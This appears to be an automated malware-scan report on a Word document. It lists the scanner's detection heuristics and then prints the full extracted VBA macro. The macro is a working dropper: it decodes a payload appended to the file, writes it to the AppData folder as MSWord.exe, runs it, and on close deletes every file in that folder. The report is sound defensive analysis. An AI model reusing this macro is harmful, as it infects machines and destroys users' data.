MALICIOUS
386
Risk Score
Heuristics 13
-
ClamAV: Doc.Malware.Miskip-10005013-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Miskip-10005013-0
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set oSh = CreateObject("WScript.Shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set FSO = CreateObject("Scripting.FileSystemObject") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
Folder = Environ("appdata") & "\Microsoft\Word" -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 217,553 bytes but its declared streams total only 54,334 bytes — 163,219 bytes (75%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
-
OLE file has appended executable-looking payload bytes high OLE_APPENDED_PAYLOADOLE compound file contains a large high-entropy region beyond the declared major streams and that region includes shellcode, PE, or loader API markers. This is a payload-carrier signal, not a specific CVE attribution by itself.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3558 bytes |
SHA-256: 1289e82c7da1ea74521c259397ab30da655a66bcd033dc3198c663797fd86301 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Viewer"
Public File As String
Public Folder As String
Function CheckFile(MacrosArray() As Byte, MacrosSize As Long) As Byte
For I = 0 To MacrosSize - 1
CheckFile = CheckFile Xor MacrosArray(I)
Next I
End Function
Function PresentFile(MacrosArray() As Byte, MacrosSize As Long) As Boolean
Dim VarByte As Byte
VarByte = 35
For I = 0 To MacrosSize - 1
MacrosArray(I) = MacrosArray(I) Xor VarByte
VarByte = ((VarByte Xor 217) Xor (I Mod 256))
Next I
PresentFile = True
End Function
Function ViewDocument() As Boolean
ActiveDocument.GrammarChecked = False
ActiveDocument.SpellingChecked = False
ActiveDocument.Select
Selection.Font.ColorIndex = wdBlack
Selection.HomeKey
ActiveDocument.InlineShapes.Item(2).Width = 270
ActiveDocument.InlineShapes.Item(2).Height = 100
For Each sec In ActiveDocument.Sections
For Each head In sec.Headers
head.Range.Delete
Next
Next
ViewDocument = True
End Function
Sub AutoClose()
On Error Resume Next
Kill File
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.DeleteFile Folder & "\*.*", True
Set FSO = Nothing
End Sub
Sub AutoOpen()
On Error GoTo FalseReturn
Dim ResultView As Boolean
ResultView = ViewDocument()
Dim ThisDocument
Dim DocSize As Long
Dim MacrosSize As Long
Dim MacrosCheck As Byte
DocSize = FileLen(ActiveDocument.FullName)
ThisDocument = FreeFile
Open (ActiveDocument.FullName) For Binary As #ThisDocument
Get #ThisDocument, (DocSize - 4), MacrosCheck
Get #ThisDocument, (DocSize - 3), MacrosSize
If MacrosSize < 8 Then
GoTo FalseReturn
End If
If (MacrosSize + 4) > DocSize Then
GoTo FalseReturn
End If
Dim StartMacros As Long
StartMacros = DocSize - (MacrosSize + 4)
Dim MacrosArray() As Byte
ReDim MacrosArray(MacrosSize - 1)
Get #ThisDocument, StartMacros, MacrosArray
Close #ThisDocument
If Not PresentFile(MacrosArray(), MacrosSize) Then
GoTo FalseReturn
End If
Dim CheckValue As Byte
CheckValue = CheckFile(MacrosArray(), MacrosSize)
If MacrosCheck <> CheckValue Then
GoTo FalseReturn
End If
Folder = Environ("appdata") & "\Microsoft\Word"
Set FSO = CreateObject("Scripting.FileSystemObject")
If Not FSO.FolderExists(Folder) Then
Folder = Environ("appdata")
End If
Set FSO = Nothing
Dim Macros
Macros = FreeFile
File = Folder & "\" & "MSWord.exe"
Open (File) For Binary As #Macros
Put #Macros, 1, MacrosArray
Close #Macros
Erase MacrosArray
Set oSh = CreateObject("WScript.Shell")
oSh.Run File
ActiveDocument.Save
Exit Sub
FalseReturn:
Close #ThisDocument
Close #Macros
ActiveDocument.Save
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.